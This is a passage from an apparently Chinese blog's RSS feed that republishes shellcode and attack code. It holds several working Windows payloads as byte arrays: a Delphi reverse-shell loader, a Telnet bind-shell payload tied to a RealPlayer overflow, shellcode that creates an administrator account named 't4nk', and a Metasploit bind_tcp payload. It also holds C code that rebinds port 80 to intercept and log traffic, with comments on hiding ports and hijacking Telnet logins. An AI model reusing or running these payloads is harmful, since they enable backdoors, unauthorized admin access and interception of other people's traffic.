API函数搜索引擎和29A的病毒杂志<br/>&nbsp;&nbsp;还有pker的～API搜索引擎范例。。--我没有使用ShellCode变型都是<br/>&nbsp;&nbsp;原始代码。。。。。<br/>&nbsp;&nbsp;为了偷懒就把以前写的System.pas直接拿来用了。。System.pas<br/>&nbsp;&nbsp;中包含的API搜索引擎在这里没有使用。紧紧是为了引用ExitProcess函数而已<br/>&nbsp;&nbsp;ShellCode部分可以在VC下编写然后提取<br/>&nbsp;&nbsp;(<br/>&nbsp;&nbsp;小弟是用TASM直接编写用16进制编辑器直接提取..<br/>&nbsp;&nbsp;关于ShellCode的提取参考可以参考..《C语言直接编写ShellCode》<br/>&nbsp;&nbsp;或者。。那就用VC边写边翻译吧。。。^_^·力气活<br/>&nbsp;&nbsp;)<br/>&nbsp;&nbsp;本程序仅仅为了演示～Delphi编写ShellCode的示例并没有其他意图<br/>}<br/>program SinDoor;<br/>const<br/>&nbsp;&nbsp;ShellCode:Array[0..479] of Char=<br/>&nbsp;&nbsp;(<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$E8, #$00, #$00, #$00, #$00, #$5F, #$81, #$EF, #$1E, #$10, #$40, #$00, #$8D, #$87, #$DD, #$10,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$40, #$00, #$50, #$E8, #$E0, #$00, #$00, #$00, #$8D, #$87, #$F6, #$10, #$40, #$00, #$50, #$E8,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$D4, #$00, #$00, #$00, #$2B, #$ED, #$81, #$EC, #$90, #$01, #$00, #$00, #$8B, #$F4, #$54, #$6A,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$01, #$FF, #$97, #$05, #$11, #$40, #$00, #$68, #$50, #$45, #$43, #$00, #$68, #$43, #$4F, #$4D,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$53, #$8B, #$C4, #$68, #$04, #$01, #$00, #$00, #$56, #$50, #$FF, #$97, #$E6, #$10, #$40, #$00,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$59, #$59, #$55, #$55, #$55, #$55, #$6A, #$01, #$6A, #$02, #$FF, #$97, #$09, #$11, #$40, #$00,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$8B, #$D8, #$55, #$55, #$68, #$7F, #$00, #$00, #$01, #$B8, #$90, #$22, #$00, #$00, #$86, #$E0,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$C1, #$E0, #$10, #$83, #$C0, #$02, #$50, #$8B, #$D4, #$6A, #$10, #$52, #$53, #$FF, #$97, #$FD,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$10, #$40, #$00, #$85, #$C0, #$75, #$F2, #$53, #$53, #$53, #$55, #$55, #$68, #$01, #$01, #$00,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$00, #$6A, #$0B, #$59, #$55, #$E2, #$FD, #$8B, #$C4, #$55, #$55, #$55, #$55, #$54, #$50, #$55,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$55, #$55, #$6A, #$01, #$55, #$55, #$55, #$56, #$FF, #$97, #$EE, #$10, #$40, #$00, #$85, #$C0,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$74, #$09, #$6A, #$FF, #$50, #$FF, #$97, #$EA, #$10, #$40, #$00, #$53, #$FF, #$97, #$01, #$11,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$40, #$00, #$EB, #$8E, #$6B, #$65, #$72, #$6E, #$65, #$6C, #$33, #$32, #$00, #$6C, #$E0, #$F6,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$DC, #$29, #$02, #$54, #$D4, #$05, #$0B, #$7E, #$26, #$00, #$00, #$00, #$00, #$77, #$73, #$32,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$5F, #$33, #$32, #$00, #$81, #$2D, #$7E, #$5F, #$C5, #$CD, #$C6, #$1C, #$8F, #$D8, #$A4, #$BB,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$3C, #$19, #$7F, #$D1, #$00, #$00, #$00, #$00, #$60, #$8B, #$74, #$24, #$24, #$E8, #$97, #$00,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$00, #$00, #$68, #$AD, #$D1, #$34, #$41, #$50, #$E8, #$1F, #$00, #$00, #$00, #$56, #$FF, #$D0,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$8B, #$D8, #$2B, #$C0, #$AC, #$84, #$C0, #$75, #$FB, #$8B, #$FE, #$AD, #$85, #$C0, #$74, #$0A,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$50, #$53, #$E8, #$05, #$00, #$00, #$00, #$AB, #$EB, #$F1, #$61, #$C3, #$60, #$8B, #$5C, #$24,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$24, #$8B, #$74, #$24, #$28, #$2B, #$ED, #$8B, #$D3, #$03, #$52, #$3C, #$8B, #$52, #$78, #$03,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$D3, #$8B, #$42, #$18, #$8B, #$7A, #$1C, #$03, #$FB, #$8B, #$7A, #$20, #$03, #$FB, #$52, #$8B,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$D7, #$8B, #$17, #$03, #$D3, #$45, #$60, #$8B, #$F2, #$2B, #$C9, #$AC, #$41, #$84, #$C0, #$75,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$FA, #$89, #$4C, #$24, #$18, #$61, #$60, #$2B, #$C0, #$E8, #$51, #$00, #$00, #$00, #$3B, #$C6,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$61, #$74, #$08, #$83, #$C7, #$04, #$48, #$74, #$18, #$EB, #$D6, #$5A, #$4D, #$8B, #$4A, #$24,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$03, #$CB, #$0F, #$B7, #$04, #$69, #$8B, #$6A, #$1C, #$03, #$EB, #$8B, #$44, #$85, #$00, #$03,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$C3, #$89, #$44, #$24, #$1C, #$61, #$C2, #$08, #$00, #$60, #$2B, #$C0, #$64, #$8B, #$40, #$30,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$85, #$C0, #$78, #$0C, #$8B, #$40, #$0C, #$8B, #$70, #$1C, #$AD, #$8B, #$40, #$08, #$EB, #$09,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$8B, #$40, #$34, #$8D, #$40, #$7C, #$8B, #$40, #$3C, #$89, #$44, #$24, #$1C, #$61, #$C3, #$60,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$E3, #$18, #$F7, #$D0, #$32, #$02, #$42, #$B3, #$08, #$D1, #$E8, #$73, #$05, #$35, #$20, #$83,<br/>&nbsp;&nbsp;&nbsp;&nbsp;#$B8, #$ED, #$FE, #$CB, #$75, #$F3, #$E2, #$EC, #$F7, #$D0, #$89, #$44, #$24, #$1C, #$61, #$C3<br/>&nbsp;&nbsp;) ;<br/>begin<br/>&nbsp;&nbsp;asm<br/>&nbsp;&nbsp;&nbsp;&nbsp;lea eax,ShellCode<br/>&nbsp;&nbsp;&nbsp;&nbsp;call eax<br/>&nbsp;&nbsp;end;<br/>end.<br/>知道是怎么回事吧。写过ShellCode的地球人都知道。。。嘿嘿。。。<br/>本地监听8848端口，反弹IP是127.0.0.1--仅仅是测试没有其他意思<br/>第一次用delphi写～ShellCode~找了半天没有人用Delphi写过溢出代码～所以自己一边用VC调试一边写的这个代码～～暂时不知道为什么在TASM下通过不会感觉到任何问题。到了Delphi下就感觉速度很慢。。偶是2.8G,512M<br/> <br/>开启Telnet服务的ShellCode代码(Delphi开源)<br/> <br/>文章作者：Jony[E.S.T]<br/>信息来源：邪恶八进制信息安全团队<br/>备注：转载请署明出处及作者！<br/><br/>program Real;<br/>{<br/>作者：Jony<br/>时间：2005-11-17<br/>参考：RealPlayer .smil file buffer overflow<br/>说明：<br/>　　本想把那个C版的改为Delphi版的，但改完后效果<br/>很不理想，有点困难，比较郁闷，本来和浪子讨论着玩<br/>玩的，呵呵，发现Delphi写生成那部分还有点困难，先<br/>把ShellCode部分扔这里吧。<br/>}<br/>Const<br/>ShellCode:Array[0..347] of Char=(<br/>#$29,#$c9,#$83,#$e9,#$af,#$d9,#$ee,#$d9,#$74,#$24,#$f4,#$5b,#$81,#$73,#$13,#$8f,<br/>#$35,#$37,#$85,#$83,#$eb,#$fc,#$e2,#$f4,#$73,#$5f,#$dc,#$ca,#$67,#$cc,#$c8,#$7a,<br/>#$70,#$55,#$bc,#$e9,#$ab,#$11,#$bc,#$c0,#$b3,#$be,#$4b,#$80,#$f7,#$34,#$d8,#$0e,<br/>#$c0,#$2d,#$bc,#$da,#$af,#$34,#$dc,#$66,#$bf,#$7c,#$bc,#$b1,#$04,#$34,#$d9,#$b4,<br/>#$4f,#$ac,#$9b,#$01,#$4f,#$41,#$30,#$44,#$45,#$38,#$36,#$47,#$64,#$c1,#$0c,#$d1,<br/>#$ab,#$1d,#$42,#$66,#$04,#$6a,#$13,#$84,#$64,#$53,#$bc,#$89,#$c4,#$be,#$68,#$99,<br/>#$8e,#$de,#$34,#$a9,#$04,#$bc,#$5b,#$a1,#$93,#$54,#$f4,#$b4,#$4f,#$51,#$bc,#$c5,<br/>#$bf,#$be,#$77,#$89,#$04,#$45,#$2b,#$28,#$04,#$75,#$3f,#$db,#$e7,#$bb,#$79,#$8b,<br/>#$63,#$65,#$c8,#$53,#$be,#$ee,#$51,#$d6,#$e9,#$5d,#$04,#$b7,#$e7,#$42,#$44,#$b7,<br/>#$d0,#$61,#$c8,#$55,#$e7,#$fe,#$da,#$79,#$b4,#$65,#$c8,#$53,#$d0,#$bc,#$d2,#$e3,<br/>#$0e,#$d8,#$3f,#$87,#$da,#$5f,#$35,#$7a,#$5f,#$5d,#$ee,#$8c,#$7a,#$98,#$60,#$7a,<br/>#$59,#$66,#$64,#$d6,#$dc,#$66,#$74,#$d6,#$cc,#$66,#$c8,#$55,#$e9,#$5d,#$02,#$8e,<br/>#$e9,#$66,#$be,#$64,#$1a,#$5d,#$93,#$9f,#$ff,#$f2,#$60,#$7a,#$59,#$5f,#$27,#$d4,<br/>#$da,#$ca,#$e7,#$ed,#$2b,#$98,#$19,#$6c,#$d8,#$ca,#$e1,#$d6,#$da,#$ca,#$e7,#$ed,<br/>#$6a,#$7c,#$b1,#$cc,#$d8,#$ca,#$e1,#$d5,#$db,#$61,#$62,#$7a,#$5f,#$a6,#$5f,#$62,<br/>#$f6,#$f3,#$4e,#$d2,#$70,#$e3,#$62,#$7a,#$5f,#$53,#$5d,#$e1,#$e9,#$5d,#$54,#$e8,<br/>#$06,#$d0,#$5d,#$d5,#$d6,#$1c,#$fb,#$0c,#$68,#$5f,#$73,#$0c,#$6d,#$04,#$f7,#$76,<br/>#$25,#$cb,#$75,#$a8,#$71,#$77,#$1b,#$16,#$02,#$4f,#$0f,#$2e,#$24,#$9e,#$5f,#$f7,<br/>#$71,#$86,#$21,#$7a,#$fa,#$71,#$c8,#$53,#$d4,#$62,#$65,#$d4,#$de,#$64,#$5d,#$84,<br/>#$de,#$64,#$62,#$d4,#$70,#$e5,#$5f,#$28,#$56,#$30,#$f9,#$d6,#$70,#$e3,#$5d,#$7a,<br/>#$70,#$02,#$c8,#$55,#$04,#$62,#$cb,#$06,#$4b,#$51,#$c8,#$53,#$dd,#$ca,#$e7,#$ed,<br/>#$f1,#$ed,#$d5,#$f6,#$dc,#$ca,#$e1,#$7a,#$5f,#$35,#$37,#$85<br/>);<br/>begin<br/>asm<br/>lea eax,shellcode<br/>call eax<br/>end;<br/>end.<br/><br/>运行后 telnet ip 13579 即可连接！<br/> <br/>添加帐号t4nk密码为283218815的系统管理员帐户<br/><br/>unsigned char scode[] =<br/>&#34;\x29\xc9\x83\xe9\xcb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74&#34;<br/>&#34;\x92\x5b\x56\x83\xeb\xfc\xe2\xf4\x88\x7a\x1f\x56\x74\x92\xd0\x13&#34;<br/>&#34;\x48\x19\x27\x53\x0c\x93\xb4\xdd\x3b\x8a\xd0\x09\x54\x93\xb0\x1f&#34;<br/>&#34;\xff\xa6\xd0\x57\x9a\xa3\x9b\xcf\xd8\x16\x9b\x22\x73\x53\x91\x5b&#34;<br/>&#34;\x75\x50\xb0\xa2\x4f\xc6\x7f\x52\x01\x77\xd0\x09\x50\x93\xb0\x30&#34;<br/>&#34;\xff\x9e\x10\xdd\x2b\x8e\x5a\xbd\xff\x8e\xd0\x57\x9f\x1b\x07\x72&#34;<br/>&#34;\x70\x51\x6a\x96\x10\x19\x1b\x66\xf1\x52\x23\x5a\xff\xd2\x57\xdd&#34;<br/>&#34;\x04\x8e\xf6\xdd\x1c\x9a\xb0\x5f\xff\x12\xeb\x56\x74\x92\xd0\x3e&#34;<br/>&#34;\x48\xcd\x6a\xa0\x14\xc4\xd2\xae\xf7\x52\x20\x06\x1c\x62\xd1\x52&#34;<br/>&#34;\x2b\xfa\xc3\xa8\xfe\x9c\x0c\xa9\x93\xf1\x36\x32\x5a\xf7\x23\x33&#34;<br/>&#34;\x54\xbd\x38\x76\x1a\xf7\x2f\x76\x01\xe1\x3e\x24\x54\xe6\x6f\x38&#34;<br/>&#34;\x1f\xb2\x69\x6e\x47\xa0\x6a\x6e\x4c\xa3\x6e\x76\x5b\xd3\x1f\x12&#34;<br/>&#34;\x54\xb4\x7d\x76\x1a\xf7\x2f\x76\x18\xfd\x38\x37\x18\xf5\x29\x39&#34;<br/>&#34;\x01\xe2\x7b\x17\x10\xff\x32\x38\x1d\xe1\x2f\x24\x15\xe6\x34\x24&#34;<br/>&#34;\x07\xb2\x2f\x62\x1a\xf9\x7b\x79\x35\xd6\x1f\x56&#34;;<br/><br/>------------------------/*<br/> * windows/shell_bind_tcp - 349 bytes<br/> * <a href="http://www.metasploit.com" target="_blank">http://www.metasploit.com</a><br/> * Encoder: x86/jmp_call_additive<br/> * EXITFUNC=seh, LPORT=4444<br/> */<br/>unsigned char shellcode[] = <br/>&#34;\xfc\xeb\x0c\x5e\x56\x31\x3e\xad\x01\xc7\x85\xc0\x75\xf7\xc3&#34;<br/>&#34;\xbf\x4a\xe4\x11\x18\xe8\xea\xff\xff\xff\xb6\x8e\xfa\x55\xae&#34;<br/>&#34;\xb6\x02\x9a\xd1\x29\x76\x09\x09\x8e\x03\x97\x6d\x45\x6f\x1d&#34;<br/>&#34;\xf5\x58\x7f\x96\x4a\x43\xf4\xf6\x74\x72\xe1\x40\xff\x40\x7e&#34;<br/>&#34;\x53\x11\x99\x40\xcd\x41\x5e\x80\x9a\x9e\x9e\xcb\x6e\xa1\xe2&#34;<br/>&#34;\x27\x84\x9a\xb6\x93\x4d\xa9\xd3\x57\xd2\x75\x1d\x83\x8b\xfe&#34;<br/>&#34;\x11\x18\xdf\x5f\x36\x9f\x34\x5c\x6a\x14\x43\x0e\x56\x36\x35&#34;<br/>&#34;\x0d\xa7\x9d\xd1\x1a\x8b\x11\x91\x5c\x00\xd9\xd5\x40\xb5\x56&#34;<br/>&#34;\x55\x70\x9b\x00\xd8\xce\x2d\x3d\xb4\x31\xe7\xdb\x66\xab\x60&#34;<br/>&#34;\x17\xbb\x5b\x06\x24\x89\xc4\xbc\x35\x3d\x92\xf7\x27\x42\x59&#34;<br/>&#34;\x58\x47\x6d\xc2\xd1\x52\xf4\x7d\x0c\x94\xfb\x28\xa5\xa7\x04&#34;<br/>&#34;\x02\x51\x71\xf3\x57\x0f\xd6\xfb\x41\x03\x8a\x50\x3e\xf7\x6f&#34;<br/>&#34;\x04\x83\xa4\x90\x7a\x65\x23\x7e\x27\x0f\xe0\x09\x36\x5a\x6e&#34;<br/>&#34;\xae\xa3\x14\xa8\xf9\x2c\x02\x5c\x16\x82\xff\x5e\xc6\x4c\x5b&#34;<br/>&#34;\x0d\xc9\x65\xf4\xb1\xc0\x25\xaf\xb2\x3d\xa1\xaa\x04\x38\x7b&#34;<br/>&#34;\x63\x68\x92\x2c\xdf\xc2\x4e\x32\x0f\x79\x18\x2b\xd6\xb8\xa0&#34;<br/>&#34;\xe4\xd7\x93\x06\xf4\xf7\x7a\xc3\x6e\x91\xea\x70\x02\xd4\x0e&#34;<br/>&#34;\x1c\x8c\xbf\xf9\x2d\xa5\xd8\x90\xe9\x3f\xc4\x54\x32\xcc\xa2&#34;<br/>&#34;\x69\xf0\x1e\x4c\xd7\xd9\xf3\x3d\xa2\x19\x5f\x96\xf8\x32\xed&#34;<br/>&#34;\x16\x4d\xd4\xee\x93\xf6\x26\xc6\x00\xa0\x8a\xb6\xe7\x1f\x41&#34;<br/>&#34;\x38\x56\xf1\xc0\x6b\xa7\x21\x82\x26\x8e\xc7\x9d\x6a\xcf\x1e&#34;<br/>&#34;\x4b\x72\xd0\xa8\x73\x5c\xa5\x80\x77\xde\x7d\x4a\x77\x37\x2f&#34;<br/>&#34;\x6c\x57\xd0\x3f\x18\x5c\x7e\xec\xe2\x8b\x7f\xc2\x1d\x34\x80&#34;<br/>&#34;\xe2\x1d\x34\x80&#34;;<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8693</link>
			<title><![CDATA[VC++实现服务器端口监视]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[兴趣爱号]]></category>
			<pubDate>Fri,09 Nov 2007 04:58:23 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8693</guid>	
		<description><![CDATA[#include &#34;stdafx.h&#34; <br/>#include &lt;winsock2.h&gt; <br/>#include &lt;windows.h&gt; <br/>#include &lt;stdio.h&gt; <br/>#include &lt;stdlib.h&gt; <br/>#include &lt;fstream.h&gt; <br/>#pragma comment(lib,&#34;ws2_32.lib&#34;) <br/> DWORD WINAPI ClientThread(LPVOID lpParam); <br/><br/> int main(int argc, char* argv[]) <br/> { <br/>&nbsp;&nbsp;if (argc!=2) <br/> { <br/> printf(&#34;using: listen [your ip address]\nfor example:\n listen 202.112.246.2\n&#34;); <br/> return 0; <br/>&nbsp;&nbsp;} <br/><br/>&nbsp;&nbsp;WORD wVersionRequested; <br/>&nbsp;&nbsp;DWORD ret; <br/>&nbsp;&nbsp;WSADATA wsaData; <br/>&nbsp;&nbsp;BOOL val; <br/>&nbsp;&nbsp;SOCKADDR_IN saddr; <br/>&nbsp;&nbsp;SOCKADDR_IN scaddr; <br/>&nbsp;&nbsp;int err; <br/>&nbsp;&nbsp;SOCKET s; <br/>&nbsp;&nbsp;SOCKET sc; <br/>&nbsp;&nbsp;int caddsize; <br/>&nbsp;&nbsp;HANDLE mt; <br/>&nbsp;&nbsp;DWORD tid; <br/><br/>&nbsp;&nbsp;wVersionRequested = MAKEWORD( 2, 2 ); <br/>&nbsp;&nbsp;err = WSAStartup( wVersionRequested, &amp;wsaData ); <br/>&nbsp;&nbsp;if ( err != 0 ) { <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!WSAStartup failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;saddr.sin_family = AF_INET; <br/><br/>&nbsp;&nbsp;//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了 <br/>&nbsp;&nbsp;saddr.sin_addr.s_addr = inet_addr(argv[1]);&nbsp;&nbsp; <br/>&nbsp;&nbsp;saddr.sin_port = htons(80); <br/>&nbsp;&nbsp;if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!socket failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;val = TRUE; <br/><br/><br/>//SO_REUSEADDR选项就是可以实现端口重绑定的 <br/>&nbsp;&nbsp;if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&amp;val,sizeof(val))!=0) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!setsockopt failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码； <br/>&nbsp;&nbsp;//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽 <br/>&nbsp;&nbsp;//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击 <br/>&nbsp;&nbsp;if(bind(s,(SOCKADDR *)&amp;saddr,sizeof(saddr))==SOCKET_ERROR) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;ret=GetLastError(); <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!bind failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;listen(s,2);&nbsp;&nbsp; <br/>&nbsp;&nbsp;while(1) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;caddsize = sizeof(scaddr); <br/>&nbsp;&nbsp;&nbsp;&nbsp;//接受连接请求 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sc = accept(s,(struct sockaddr *)&amp;scaddr,&amp;caddsize); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if(sc!=INVALID_SOCKET) <br/>&nbsp;&nbsp;&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mt = Cr&#101;ateThread(NULL,0,ClientThread,(LPVOID)sc,0,&amp;tid); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(mt==NULL) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;Thread Creat Failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br/>&nbsp;&nbsp;&nbsp;&nbsp;} <br/>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(mt); <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;closesocket(s); <br/>&nbsp;&nbsp;WSACleanup(); <br/>&nbsp;&nbsp;return 0; <br/> } <br/><br/> DWORD WINAPI ClientThread(LPVOID lpParam) <br/> { <br/>&nbsp;&nbsp;SOCKET ss = (SOCKET)lpParam; <br/>&nbsp;&nbsp;SOCKET sc; <br/>&nbsp;&nbsp;char buf[4096]; <br/>&nbsp;&nbsp;SOCKADDR_IN saddr; <br/>&nbsp;&nbsp;long num; <br/>&nbsp;&nbsp;DWORD val; <br/>&nbsp;&nbsp;DWORD ret; <br/>&nbsp;&nbsp;//如果是隐藏端口应用的话，可以在此处加一些判断 <br/>&nbsp;&nbsp;//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发 <br/><br/>saddr.sin_family = AF_INET; <br/>&nbsp;&nbsp;saddr.sin_addr.s_addr = inet_addr(&#34;127.0.0.1&#34;); <br/>&nbsp;&nbsp;saddr.sin_port = htons(80); <br/>&nbsp;&nbsp;if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!socket failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;val = 100; <br/>&nbsp;&nbsp;if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;ret = GetLastError(); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;ret = GetLastError(); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>&nbsp;&nbsp;if(connect(sc,(SOCKADDR *)&amp;saddr,sizeof(saddr))!=0) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;error!socket connect failed!\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;closesocket(sc); <br/>&nbsp;&nbsp;&nbsp;&nbsp;closesocket(ss); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1; <br/>&nbsp;&nbsp;} <br/>// 写入文件: <br/>ofstream oFile(&#34;port80log.txt&#34;); <br/>if(!oFile) <br/>{ <br/> printf(&#34;cannot write to the file.\n&#34;); <br/> closesocket(ss); <br/> closesocket(sc); <br/> return 0 ; <br/> } <br/><br/>&nbsp;&nbsp;while(1) <br/>&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;//如果是嗅探内容的话，可以再此处进行内容分析和记录 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;num = recv(ss,buf,4096,0); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if(num&gt;0) <br/><br/><br/>{ <br/>&nbsp;&nbsp;oFile&lt;&lt;&#34;\n== DATA =========================================\n&#34;; <br/>&nbsp;&nbsp;oFile&lt;&lt;buf; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(sc,buf,num,0); <br/> } <br/>&nbsp;&nbsp;&nbsp;&nbsp;else if(num==0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br/>&nbsp;&nbsp;&nbsp;&nbsp;num = recv(sc,buf,4096,0); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if(num&gt;0) <br/> { <br/>&nbsp;&nbsp;oFile&lt;&lt;&#34;\n== DATA =========================================\n&#34;; <br/>&nbsp;&nbsp;oFile&lt;&lt;buf; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(ss,buf,num,0); <br/> } <br/>&nbsp;&nbsp;&nbsp;&nbsp;else if(num==0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br/>&nbsp;&nbsp;} <br/>oFile.close(); <br/><br/>&nbsp;&nbsp;closesocket(ss); <br/>&nbsp;&nbsp;closesocket(sc); <br/>&nbsp;&nbsp;return 0 ; <br/> }]]></description>
		</item>
		
</channel>
</rss>